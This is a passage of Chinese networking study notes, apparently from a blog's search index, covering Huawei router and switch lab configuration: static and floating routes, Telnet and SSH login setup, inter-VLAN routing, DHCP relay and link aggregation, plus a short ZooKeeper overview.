alarm# set cpu-usage threshold 80 restore 75#ip route-static 192.168.1.0 255.255.255.0 12.1.1.1#return[R2] 等价路由具有相同的网络和掩码, 优先级以及开销值, 路由器认为多条路由完全等价, 则会将多条路由加入到路由表中, 实现负载均衡. 浮动路由在配置路由时, 使其中一条路由优先级高于其他路由, 从而实现路由的备份, 主路由失效的情况下, 路由器会将备份路由添加到路由表中. [R6]ip route-static 192.168.3.0 24 41.1.1.1 preference 70 R5<R5>syEnter system view, return user view with Ctrl+Z.[R5][R5][R5]int g4/0/0[R5-GigabitEthernet4/0/0]ip add 41.1.1.1 24Dec 21 2023 09:33:38-08:00 R5 %%01IFNET/4/LINK_STATE(l)[0]:The line protocol IP on the interface GigabitEthernet4/0/0 has entered the UP state. [R5-GigabitEthernet4/0/0]q[R5]ip rou [R5]ip route-s [R5]ip route-static 192.168.4.0 24 41.1.1.2[R5]dis ip rou [R5]dis ip routing-table Route Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: Public Destinations : 20 Routes : 21 Destination/Mask Proto Pre Cost Flags NextHop Interface 12.1.1.0/24 Static 60 0 RD 13.1.1.1 GigabitEthernet0/0/0 13.1.1.0/24 Direct 0 0 D 13.1.1.2 GigabitEthernet0/0/0 13.1.1.2/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 13.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 14.1.1.0/24 Direct 0 0 D 14.1.1.1 GigabitEthernet0/0/1 14.1.1.1/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 14.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 41.1.1.0/24 Direct 0 0 D 41.1.1.1 GigabitEthernet4/0/0 41.1.1.1/32 Direct 0 0 D 127.0.0.1 GigabitEthernet4/0/0 41.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet4/0/0 127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0 127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0127.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0 192.168.1.0/24 Static 60 0 RD 13.1.1.1 GigabitEthernet0/0/0 192.168.2.0/24 Static 60 0 RD 13.1.1.1 GigabitEthernet0/0/0 192.168.3.0/24 Direct 0 0 D 192.168.3.254 GigabitEthernet0/0/2 192.168.3.254/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/2 192.168.3.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/2 192.168.4.0/24 Static 60 0 RD 14.1.1.2 GigabitEthernet0/0/1 Static 60 0 RD 41.1.1.2 GigabitEthernet4/0/0255.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0[R5]ip route-static 192.168.4.0 24 41.1.1.2 preference 40Info: Succeeded in modifying route.[R5]dis ip routing-tableRoute Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: Public Destinations : 20 Routes : 20 Destination/Mask Proto Pre Cost Flags NextHop Interface 12.1.1.0/24 Static 60 0 RD 13.1.1.1 GigabitEthernet0/0/0 13.1.1.0/24 Direct 0 0 D 13.1.1.2 GigabitEthernet0/0/0 13.1.1.2/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 13.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 14.1.1.0/24 Direct 0 0 D 14.1.1.1 GigabitEthernet0/0/1 14.1.1.1/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 14.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 41.1.1.0/24 Direct 0 0 D 41.1.1.1 GigabitEthernet4/0/0 41.1.1.1/32 Direct 0 0 D 127.0.0.1 GigabitEthernet4/0/0 41.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet4/0/0 127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0 127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0127.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0 192.168.1.0/24 Static 60 0 RD 13.1.1.1 GigabitEthernet0/0/0 192.168.2.0/24 Static 60 0 RD 13.1.1.1 GigabitEthernet0/0/0 192.168.3.0/24 Direct 0 0 D 192.168.3.254 GigabitEthernet0/0/2 192.168.3.254/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/2 192.168.3.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/2 192.168.4.0/24 Static 40 0 RD 41.1.1.2 GigabitEthernet4/0/0255.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0[R5] R6<R6>syEnter system view, return user view with Ctrl+Z.[R6]int g4/0/0[R6-GigabitEthernet4/0/0]ip add 41.1.1.2 24Dec 21 2023 09:34:36-08:00 R6 %%01IFNET/4/LINK_STATE(l)[0]:The line protocol IP on the interface GigabitEthernet4/0/0 has entered the UP state. [R6-GigabitEthernet4/0/0]q [R6]ip route-static 192.168.3.0 24 41.1.1.1[R6]display ip routing-table Route Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: Public Destinations : 18 Routes : 19 Destination/Mask Proto Pre Cost Flags NextHop Interface 12.1.1.0/24 Static 60 0 RD 14.1.1.1 GigabitEthernet0/0/0 13.1.1.0/24 Static 60 0 RD 14.1.1.1 GigabitEthernet0/0/0 14.1.1.0/24 Direct 0 0 D 14.1.1.2 GigabitEthernet0/0/0 14.1.1.2/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 14.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 41.1.1.0/24 Direct 0 0 D 41.1.1.2 GigabitEthernet4/0/0 41.1.1.2/32 Direct 0 0 D 127.0.0.1 GigabitEthernet4/0/0 41.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet4/0/0 127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0 127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0127.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0 192.168.1.0/24 Static 60 0 RD 14.1.1.1 GigabitEthernet0/0/0 192.168.2.0/24 Static 60 0 RD 14.1.1.1 GigabitEthernet0/0/0 192.168.3.0/24 Static 60 0 RD 14.1.1.1 GigabitEthernet0/0/0 Static 60 0 RD 41.1.1.1 GigabitEthernet4/0/0 192.168.4.0/24 Direct 0 0 D 192.168.4.254 GigabitEthernet0/0/1 192.168.4.254/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 192.168.4.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1255.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0[R6]ip route-static 192.168.3.0 24 41.1.1.1 preference 70Info: Succeeded in modifying route.[R6]display ip routing-tableRoute Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: Public Destinations : 18 Routes : 18 Destination/Mask Proto Pre Cost Flags NextHop Interface 12.1.1.0/24 Static 60 0 RD 14.1.1.1 GigabitEthernet0/0/0 13.1.1.0/24 Static 60 0 RD 14.1.1.1 GigabitEthernet0/0/0 14.1.1.0/24 Direct 0 0 D 14.1.1.2 GigabitEthernet0/0/0 14.1.1.2/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 14.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 41.1.1.0/24 Direct 0 0 D 41.1.1.2 GigabitEthernet4/0/0 41.1.1.2/32 Direct 0 0 D 127.0.0.1 GigabitEthernet4/0/0 41.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet4/0/0 127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0 127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0127.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0 192.168.1.0/24 Static 60 0 RD 14.1.1.1 GigabitEthernet0/0/0 192.168.2.0/24 Static 60 0 RD 14.1.1.1 GigabitEthernet0/0/0 192.168.3.0/24 Static 60 0 RD 14.1.1.1 GigabitEthernet0/0/0 192.168.4.0/24 Direct 0 0 D 192.168.4.254 GigabitEthernet0/0/1 192.168.4.254/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 192.168.4.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1255.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0[R6]int g0/0/0[R6-GigabitEthernet0/0/0]shutdownDec 21 2023 09:45:33-08:00 R6 %%01IFPDT/4/IF_STATE(l)[1]:Interface GigabitEthernet0/0/0 has turned into DOWN state.[R6-GigabitEthernet0/0/0]Dec 21 2023 09:45:33-08:00 R6 %%01IFNET/4/LINK_STATE(l)[2]:The line protocol IP on the interface GigabitEthernet0/0/0 has entered the DOWN state. [R6-GigabitEthernet0/0/0]disp ip routing-table Route Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: Public Destinations : 11 Routes : 11 Destination/Mask Proto Pre Cost Flags NextHop Interface 41.1.1.0/24 Direct 0 0 D 41.1.1.2 GigabitEthernet4/0/0 41.1.1.2/32 Direct 0 0 D 127.0.0.1 GigabitEthernet4/0/0 41.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet4/0/0 127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0 127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0127.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0 192.168.3.0/24 Static 70 0 RD 41.1.1.1 GigabitEthernet4/0/0 192.168.4.0/24 Direct 0 0 D 192.168.4.254 GigabitEthernet0/0/1 192.168.4.254/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 192.168.4.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1255.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0[R6-GigabitEthernet0/0/0]undo shutdown[R6-GigabitEthernet0/0/0]Dec 21 2023 09:48:22-08:00 R6 %%01IFPDT/4/IF_STATE(l)[3]:Interface GigabitEthernet0/0/0 has turned into UP state.[R6-GigabitEthernet0/0/0]Dec 21 2023 09:48:22-08:00 R6 %%01IFNET/4/LINK_STATE(l)[4]:The line protocol IP on the interface GigabitEthernet0/0/0 has entered the UP state. [R6-GigabitEthernet0/0/0] 缺省路由去往任意网段的路由. ip route-static 0.0.0.0 0 下一跳地址"},{"title":"","date":"2023-12-21T06:00:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/datacom/14.html","permalink":"https://blog.mhuig.top/notes/datacom/14","excerpt":"","text":"远程登录 远程登录 telnet 线路认证[R2]telnet server enable // 开启Telent服务[R2]user-interface vty 0 4 // 进入虚拟终端线路配置用户[R2-ui-vty0-4]protocol inbound telnet // 设置用户登录方式[R2-ui-vty0-4]authentication-mode password // 认证模式为密码认证[R2-ui-vty0-4]set authentication password cipher 123456[R2-ui-vty0-4]user privilege level 15 // 设置用户等级 用户视图 telenet x.x.x.x R2<Huawei>syEnter system view, return user view with Ctrl+Z.[Huawei]sy R2[R2]int g0/0/0[R2-GigabitEthernet0/0/0]ip add 34.1.1.2 24[R2-GigabitEthernet0/0/0][R2-GigabitEthernet0/0/0]q[R2]telnet server enable Error: TELNET server has been enabled[R2]user-interface vt [R2]user-interface vty 0 4[R2-ui-vty0-4]protocol inbound telnet [R2-ui-vty0-4]display this [V200R003C00]#user-interface con 0 authentication-mode passworduser-interface vty 0 4user-interface vty 16 20#return[R2-ui-vty0-4]authentication-mode ? aaa AAA authentication password Authentication through the password of a user terminal interface[R2-ui-vty0-4]authentication-mode password ? <cr> Please press ENTER to execute command [R2-ui-vty0-4]authentication-mode passwordPlease configure the login password (maximum length 16):123456[R2-ui-vty0-4]user privilege ? level Set the login priority of a user terminal[R2-ui-vty0-4]user privilege level ? INTEGER<0-15> Set a priority, the default value is 0[R2-ui-vty0-4]user privilege level 15[R2-ui-vty0-4] R1<Huawei>syEnter system view, return user view with Ctrl+Z.[Huawei]sy R1[R1]int g0/0/0[R1-GigabitEthernet0/0/0]ip add 34.1.1.1 24Dec 21 2023 11:45:03-08:00 R1 %%01IFNET/4/LINK_STATE(l)[0]:The line protocol IP on the interface GigabitEthernet0/0/0 has entered the UP state. [R1-GigabitEthernet0/0/0]q[R1]q<R1>telnet 34.1.1.2 Press CTRL_] to quit telnet mode Trying 34.1.1.2 ... Connected to 34.1.1.2 ...Login authenticationPassword:<R2> telnet 本地用户认证[R2]telnet server enable // 开启Telent服务[R4]aaa[R4-aaa]local-user testuser password cipher 123456 // 创建用户并设置密码[R4-aaa]local-user testuser privilege level 2 // 设置用户等级[R4-aaa]local-user testuser service-type telnet // 用户的登录方式[R4]user-interface vty 0 4[R4-ui-vty0-4]authentication-mode aaa // 认证模式为aaa认证 R4<Huawei>syEnter system view, return user view with Ctrl+Z.[Huawei]sy R4[R4]int g0/0/0[R4-GigabitEthernet0/0/0]ip add 56.1.1.2 24[R4-GigabitEthernet0/0/0]q[R4]telnet server enable Error: TELNET server has been enabled[R4]aaa[R4-aaa][R4-aaa][R4-aaa][R4-aaa]local-user testuser password cipher 123456Info: Add a new user.[R4-aaa]dis this [V200R003C00]#aaa authentication-scheme default authorization-scheme default accounting-scheme default domain default domain default_admin local-user admin password cipher %$%$K8m.Nt84DZ}e#<0`8bmE3Uw}%$%$ local-user admin service-type http local-user testuser password cipher %$%$HPm[~yFOaU!LuC#'ZSi@Pc''%$%$#return[R4-aaa]local-user testuser privilege level 2[R4-aaa]local-user testuser service-type telnet[R4-aaa][R4-aaa]local-user test2 password cipher 456789Info: Add a new user.[R4-aaa]local-user test2 privilege level 3[R4-aaa]local-user test2 service-type telnet[R4-aaa]q[R4]user-interface vty 0 4[R4-ui-vty0-4]authentication-mode aaa R3<Huawei>syEnter system view, return user view with Ctrl+Z.[Huawei]sy R3[R3]int g0/0/0[R3-GigabitEthernet0/0/0]ip add 56.1.1.1 24<R3><R3>telnet 56.1.1.2 Press CTRL_] to quit telnet mode Trying 56.1.1.2 ... Connected to 56.1.1.2 ...Login authenticationUsername:testuserPassword:<R4> SSHSSH: 是一种加密的远程登录协议, 采 用非对称加密方式. 对称加密: 两端采用同样的密钥进行数据的加密和解密, 一旦密钥被泄露, 则数据安全无法保障. 非对称加密: 双方都拥有自己的公钥和私钥, 双方都将自己的公钥告知对方, 并要求对方使用自己的公钥加密, 通过公钥加密的数据只能通过对应的私钥解密, 公钥可以被传递到网络中, 私钥只能本地保存, 不能被传递. PC[PC]rsa local-key-pair create // 创建密钥对[PC]ssh client first-time enable // 开启首次登录[PC]stelnet x.x.x.x SSH_SERVER[SSH_SERVER]stelnet server enable // 开启ssh服务// 创建SSH认证登录所需的用户信息.[SSH_SERVER]aaa[SSH_SERVER-aaa]local-user sshuser password cipher 123456[SSH_SERVER-aaa]local-user sshuser privilege level 3[SSH_SERVER-aaa]local-user sshuser service-type ssh //设置用户为SSH用户// 配置vty线路认证[SSH_SERVER]user-interface vty 0 4[SSH_SERVER-ui-vty0-4]authentication-mode aaa[SSH_SERVER-ui-vty0-4]protocol inbound ssh// 通过RSA算法生成密钥对[SSH_SERVER]rsa local-key-pair create R2<Huawei>syEnter system view, return user view with Ctrl+Z.[Huawei]sy SSH_SERVER[SSH_SERVER]int g0/0/0[SSH_SERVER-GigabitEthernet0/0/0]ip add 12.1.1.2 24[SSH_SERVER]stelnet server enable Info: Succeeded in starting the STELNET server.[SSH_SERVER][SSH_SERVER]aaa[SSH_SERVER-aaa]local-user sshuser password cipher 123456Info: Add a new user.[SSH_SERVER-aaa]local-user sshuser privilege level 3[SSH_SERVER-aaa]local-user sshuser service-type ssh[SSH_SERVER-aaa]q[SSH_SERVER]user-interface vty 0 4[SSH_SERVER-ui-vty0-4]authentication-mode aaa[SSH_SERVER-ui-vty0-4]protocol inbound ? all All protocols ssh SSH protocol telnet Telnet protocol[SSH_SERVER-ui-vty0-4]protocol inbound ssh[SSH_SERVER]rsa local-key-pair create The key name will be: Host% RSA keys defined for Host already exist.Confirm to replace them? (y/n)[n]:yThe range of public key size is (512 ~ 2048).NOTES: If the key modulus is greater than 512, It will take a few minutes.Input the bits in the modulus[default = 512]:1024Generating keys......................++++++..........................++++++.............++++++++.++++++++[SSH_SERVER] R1<Huawei>syEnter system view, return user view with Ctrl+Z.[Huawei] sy PC[PC]int g0/0/0[PC-GigabitEthernet0/0/0]ip add 12.1.1.1 24[PC][PC]rsa local-key-pair create The key name will be: Host% RSA keys defined for Host already exist.Confirm to replace them? (y/n)[n]:yThe range of public key size is (512 ~ 2048).NOTES: If the key modulus is greater than 512, It will take a few minutes.Input the bits in the modulus[default = 512]:1024Generating keys....++++++........++++++......++++++++......................++++++++[PC][PC]ssh client first-time enable [PC]stelnet 12.1.1.2Please input the username:sshuserTrying 12.1.1.2 ...Press CTRL+K to abortConnected to 12.1.1.2 ...The server is not authenticated. Continue to access it? (y/n)[n]:yDec 21 2023 15:02:27-08:00 PC %%01SSH/4/CONTINUE_KEYEXCHANGE(l)[0]:The server had not been authenticated in the process of exchanging keys. When deciding whether to continue, the user chose Y. [PC]Save the server's public key? (y/n)[n]:yThe server's public key will be saved with the name 12.1.1.2. Please wait...Dec 21 2023 15:02:32-08:00 PC %%01SSH/4/SAVE_PUBLICKEY(l)[1]:When deciding whether to save the server's public key 12.1.1.2, the user chose Y. [PC]Enter password:<SSH_SERVER>"},{"title":"","date":"2023-12-25T06:00:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/datacom/15.html","permalink":"https://blog.mhuig.top/notes/datacom/15","excerpt":"","text":"实现 VLAN 间通信 实现 VLAN 间通信 使用路由器物理接口 R1<Huawei>sy[Huawei]sy R1[R1]int g0/0/0[R1-GigabitEthernet0/0/0]ip add 192.168.1.254 24[R1-GigabitEthernet0/0/0]int g0/0/1[R1-GigabitEthernet0/0/1]ip add 192.168.2.254 24[R1-GigabitEthernet0/0/1] SW1<Huawei>sy[Huawei]sy SW1[SW1]vlan batch 10 20[SW1]interface g0/0/1[SW1-GigabitEthernet0/0/1]p l a[SW1-GigabitEthernet0/0/1]p d vlan 10[SW1-GigabitEthernet0/0/1]int g0/0/2[SW1-GigabitEthernet0/0/2][SW1-GigabitEthernet0/0/2]p l a[SW1-GigabitEthernet0/0/2]p d vlan 10[SW1-GigabitEthernet0/0/2]int g0/0/3[SW1-GigabitEthernet0/0/3]p l a[SW1-GigabitEthernet0/0/3]p d vlan 20[SW1-GigabitEthernet0/0/3][SW1-GigabitEthernet0/0/3]int g0/0/4[SW1-GigabitEthernet0/0/4]p l a[SW1-GigabitEthernet0/0/4]p d vlan 20[SW1-GigabitEthernet0/0/4] 子接口 单臂路由单臂路由子接口: 路由器共用一个物理接口, 是路由器上的虚拟接口, 多个子接口可以共用一个物理接口, 每个子接口属于一个单独的网络, 每个子接口可以和同一个 VLAN 的设备通信, 通过 dot.1q(802.1q) 的标签区分不同子接口的数据, 连接子接口的交换机需要使用 Trunk 端口. R1[R1]int g0/0/1[R1-GigabitEthernet0/0/1]undo ip add 192.168.2.254 24[R1-GigabitEthernet0/0/1]q[R1]int g0/0/0[R1-GigabitEthernet0/0/0]undo ip add 192.168.1.254 24[R1-GigabitEthernet0/0/1]q[R1]int g0/0/0.? <1-4096> GigabitEthernet interface subinterface number[R1]int g0/0/0.10[R1-GigabitEthernet0/0/0.10]dot1q termination vid 10[R1-GigabitEthernet0/0/0]int g0/0/0.10[R1-GigabitEthernet0/0/0.10]ip add 192.168.1.254 24[R1-GigabitEthernet0/0/0.10]arp broadcast enable [R1-GigabitEthernet0/0/0.10]int g0/0/0.20[R1-GigabitEthernet0/0/0.20]dot1q termination vid 20[R1-GigabitEthernet0/0/0.20]ip add 192.168.2.254 24[R1-GigabitEthernet0/0/0.20]arp broadcast enable <R1>dis cu# sysname R1#interface GigabitEthernet0/0/0#interface GigabitEthernet0/0/0.10 dot1q termination vid 10 ip address 192.168.1.254 255.255.255.0 arp broadcast enable#interface GigabitEthernet0/0/0.20 dot1q termination vid 20 ip address 192.168.2.254 255.255.255.0 arp broadcast enable# SW1[SW1-GigabitEthernet0/0/1]int g0/0/1[SW1-GigabitEthernet0/0/1]undo port default vlan[SW1-GigabitEthernet0/0/1]undo port link-type[SW1-GigabitEthernet0/0/1]int g0/0/2[SW1-GigabitEthernet0/0/2]undo port default vlan[SW1-GigabitEthernet0/0/2]undo port link-type[SW1-GigabitEthernet0/0/2]int g0/0/3[SW1-GigabitEthernet0/0/3]undo port default vlan[SW1-GigabitEthernet0/0/3]undo port link-type[SW1-GigabitEthernet0/0/3]int g0/0/4[SW1-GigabitEthernet0/0/4]undo port default vlan[SW1-GigabitEthernet0/0/4]undo port link-type [SW1-GigabitEthernet0/0/4][SW1-GigabitEthernet0/0/4]int g0/0/1[SW1-GigabitEthernet0/0/1]port link-type trunk [SW1-GigabitEthernet0/0/1]port trunk allow-pass vlan 10 20[SW1-GigabitEthernet0/0/1]int g0/0/2[SW1-GigabitEthernet0/0/2]port link-type access [SW1-GigabitEthernet0/0/2]port default vlan 10[SW1-GigabitEthernet0/0/2]int g0/0/3[SW1-GigabitEthernet0/0/3]port link-type access [SW1-GigabitEthernet0/0/3]port default vlan 20<SW1>dis cu#sysname SW1#vlan batch 10 20#interface GigabitEthernet0/0/1 port link-type trunk port trunk allow-pass vlan 10 20#interface GigabitEthernet0/0/2 port link-type access port default vlan 10#interface GigabitEthernet0/0/3 port link-type access port default vlan 20# SVI 接口 三层交换机 vlanif三层交换 SVI 接口: 交换机虚拟接口, 只逻辑存在, 每一个 SVI 接口对应一个 VLAN, 可以配置 IP 地址, 可以和 VLAN 内设备通信, 并且可以生成路由信息, 实现基本路由功能. SW2[SW2]vlan batch 10 20[SW2]int g0/0/1[SW2-GigabitEthernet0/0/1]p l a[SW2-GigabitEthernet0/0/1]p d vlan 10[SW2-GigabitEthernet0/0/1]int g0/0/2[SW2-GigabitEthernet0/0/2]p l a[SW2-GigabitEthernet0/0/2]p d vlan 20[SW2]int Vlanif 10[SW2-Vlanif10]ip add 192.168.1.254 24[SW2-Vlanif10]int vlanif 20[SW2-Vlanif20]ip add 192.168.2.254 24[SW2-Vlanif20]dis cu#sysname SW2#vlan batch 10 20#interface Vlanif1#interface Vlanif10 ip address 192.168.1.254 255.255.255.0#interface Vlanif20 ip address 192.168.2.254 255.255.255.0#interface MEth0/0/1#interface GigabitEthernet0/0/1 port link-type access port default vlan 10#interface GigabitEthernet0/0/2 port link-type access port default vlan 20# 应用场景单臂路由适用于小型企业网或特殊网络. 大中型企业网一般使用三层交换实现局域网内部通信. 多层交换机和路由器的区别多层交换机具备一定的基础路由功能, 可以在某些场景下代替路由器. 但交换机的功能相对单一, 路由器可以实现不同协议之间的数据转发. 一般三层交换机不支持 NAT, 所以在企业网边缘需要路由器或防火墙. 三层交换机一般用于企业内部数据转发以及控制. 路由器一般用于企业边界数据转发. 单臂路由 - 三层交换机 - DHCP SW1#sysname SW1#vlan batch 10 to 30#interface GigabitEthernet0/0/1 port link-type trunk port trunk allow-pass vlan 10 20#interface GigabitEthernet0/0/2 port link-type access port default vlan 10#interface GigabitEthernet0/0/3 port link-type access port default vlan 20# R1# sysname R1#dhcp enable#ip pool PC gateway-list 30.1.1.254 network 30.1.1.0 mask 255.255.255.0 lease day 0 hour 0 minute 10 dns-list 114.114.114.114 #interface GigabitEthernet0/0/0#interface GigabitEthernet0/0/0.10 dot1q termination vid 10 ip address 10.1.1.254 255.255.255.0 arp broadcast enable dhcp select interface dhcp server lease day 0 hour 0 minute 30 dhcp server dns-list 114.114.114.114 #interface GigabitEthernet0/0/0.20 dot1q termination vid 20 ip address 20.1.1.254 255.255.255.0 arp broadcast enable dhcp select interface dhcp server lease day 0 hour 0 minute 30 dhcp server dns-list 114.114.114.114 #interface GigabitEthernet0/0/1 ip address 12.1.1.1 255.255.255.0 dhcp select global##ip route-static 30.1.1.0 255.255.255.0 12.1.1.2# SW2#sysname SW2#vlan batch 10 to 30#dhcp enable##interface Vlanif12 ip address 12.1.1.2 255.255.255.0#interface Vlanif30 ip address 30.1.1.254 255.255.255.0 dhcp select relay dhcp relay server-ip 12.1.1.1#interface GigabitEthernet0/0/1 port link-type access port default vlan 12#interface GigabitEthernet0/0/2 port link-type access port default vlan 30#interface GigabitEthernet0/0/3 port link-type access port default vlan 30##ip route-static 0.0.0.0 0.0.0.0 12.1.1.1#"},{"title":"","date":"2019-09-19T03:25:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zookeeper/overview.html","permalink":"https://blog.mhuig.top/notes/Zookeeper/overview","excerpt":"","text":"Overview 大数据处理技术 - zookeeper 的介绍 ZooKeeper 概述Zookeeper 是一个分布式协调服务的开源框架。 主要用来解决分布式集群中应用系统的一致性问题，例如怎样避免同时操作同一数据造成脏读的问题。ZooKeeper 本质上是一个分布式的小文件存储系统。 提供基于类似于文件系统的目录树方式的数据存储，并且可以对树中的节点进行有效管理。从而用来维护和监控你存储的数据的状态变化。通过监控这些数据状态的变化，从而可以达到基于数据的集群管理。诸如： 统一命名服务 (dubbo)、分布式配置管理 (solr 的配置集中管理)、分布式消息队列（sub / pub）、分布式锁、分布式协调等功能。 Zookeeper 的架构 LeaderZookeeper 集群工作的核心 事务请求（写操作） 的唯一调度和处理者，保证集群事务处理的顺序性；集群内部各个服务器的调度者。对于 create， setData， delete 等有写操作的请求，则需要统一转发给 leader 处理， leader 需要决定编号、执行操作，这个过程称为一个事务。 Follower处理客户端非事务（读操作） 请求，转发事务请求给 Leader；参与集群 Leader 选举投票 2n-1 台可以做集群投票。此外，针对访问量比较大的 zookeeper 集群， 还可新增观察者角色。 Observer观察者角色，观察 Zookeeper 集群的最新状态变化并将这些状态同步过来，其对于非事务请求可以进行独立处理，对于事务请求，则会转发给 Leader 服务器进行处理。不会参与任何形式的投票只提供非事务服务，通常用于在不影响集群事务处理能力的前提下提升集群的非事务处理能力。扯淡：说白了就是增加并发的读请求 Zookeeper 的特性全局数据一致每个 server 保存一份相同的数据副本， client 无论连接到哪个 server，展示的数据都是一致的，这是最重要的特征； 可靠性如果消息被其中一台服务器接受，那么将被所有的服务器接受。 顺序性包括全局有序和偏序两种：全局有序是指如果在一台服务器上消息 a 在消息 b 前发布，则在所有 Server 上消息 a 都将在消息 b 前被发布；偏序是指如果一个消息 b 在消息 a 后被同一个发送者发布， a 必将排在 b 前面。 数据更新原子性一次数据更新要么成功（半数以上节点成功），要么失败，不存在中间状态； 实时性Zookeeper 保证客户端将在一个时间间隔范围内获得服务器的更新信息，或者服务器失效的信息。 Zookeeper 的集群环境为什么搭建 zookeeper 集群 集群有高可用的能力。 高并发的情况下，单机版性能低下 Zookeeper 选举策略Zookeeper 集群搭建指的是 ZooKeeper 分布式模式安装。 通常由 2n + 1 台 servers 组成。 这是因为为了保证 Leader 选举（基于 Paxos 算法的实现） 能过得到多数的支持，所以 ZooKeeper 集群的数量一般为奇数。Zookeeper 运行需要 java 环境， 所以需要提前安装 jdk。 对于安装 leader + follower 模式的集群， 大致过程如下： 配置主机名称到 IP 地址映射配置 修改 ZooKeeper 配置文件 远程复制分发安装文件 设置 myid 启动 ZooKeeper 集群 如果要想使用 Observer 模式，可在对应节点的配置文件添加如下配置： peerType = observer 其次，必须在配置文件指定哪些节点被指定为 Observer，如： server.1:localhost:2181:3181:observer"},{"title":"","date":"2024-01-08T06:00:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/datacom/18.html","permalink":"https://blog.mhuig.top/notes/datacom/18","excerpt":"","text":"以太网链路聚合 以太网链路聚合 链路聚合以太捆绑端口聚合, 是将多台以太链路捆绑成一条逻辑链路, 从而实现带宽的增加和链路的冗余, 提高网络可靠性. 链路聚合优点链路聚合能够提高链路带宽: 理论上通过聚合几条链路, 一个聚合组的带宽可以扩展为被绑定链路带宽总和, 有效的增加了逻辑链路带宽. 网络可靠性: 配置链路聚合后, 如果某一条链路失效, 那么聚合的其他链路依旧可以转发数据. 支持负载均衡: 一个聚合组可以把流量分散到不同的被聚合的物理链路上, 通过多个链路将数据发送到同一个目的地, 将网络拥塞的可能降低. 链路聚合分为动态协商聚合和手工聚合. 手工聚合手工聚合只要接口被加入到聚合组中, 那么接口的状态就会 UP, 只关心自己到对端的状态, 不关心对端设备的状态, 如果对端设备出现故障, 本端设备依旧认为对端的端口 UP, 但是不知道对端已经不具备转发能力. 动态聚合动态聚合: LACP 模式, 聚合组中存在活动链路和非活动链路, 在 LACP 模式下, 会选举主动端和被动端, 被动端根据主动端选举出来的活跃接口来确定自己对应的活跃接口. 主动端和被动端选举: 1. 根据设备的优先级选举, 优先级数值越小越优先, 默认 32768. 2. 如果优先级相同, 则比较设备的 MAC 地址, MAC 地址越小越优 活跃链路选举: 1. 当设备通过命令设置了活跃链路数量, 会根据接口的优先级进行活跃链路选举, 优先级越小越优, 32768. 2. 如果优先级相同, 则比较端口号, 数值越小越优. Shell 手工聚合SW1[SW1]int Eth-Trunk [SW1]int Eth-Trunk ? <0-63> Eth-Trunk interface number[SW1]int Eth-Trunk 12[SW1-Eth-Trunk12]trunkport g 0/0/1 to 0/0/4[SW1]display interface Eth-Trunk 12Eth-Trunk12 current state : UPLine protocol current state : UPDescription:Switch Port, PVID : 1, Hash arithmetic : According to SIP-XOR-DIP,Maximal BW: 4G, Current BW: 4G, The Maximum Frame Length is 9216IP Sending Frames' Format is PKTFMT_ETHNT_2, Hardware address is 4c1f-cc7c-1cd9Current system time: 2024-01-08 11:57:24-08:00 Input bandwidth utilization : 0% Output bandwidth utilization : 0%-----------------------------------------------------PortName Status 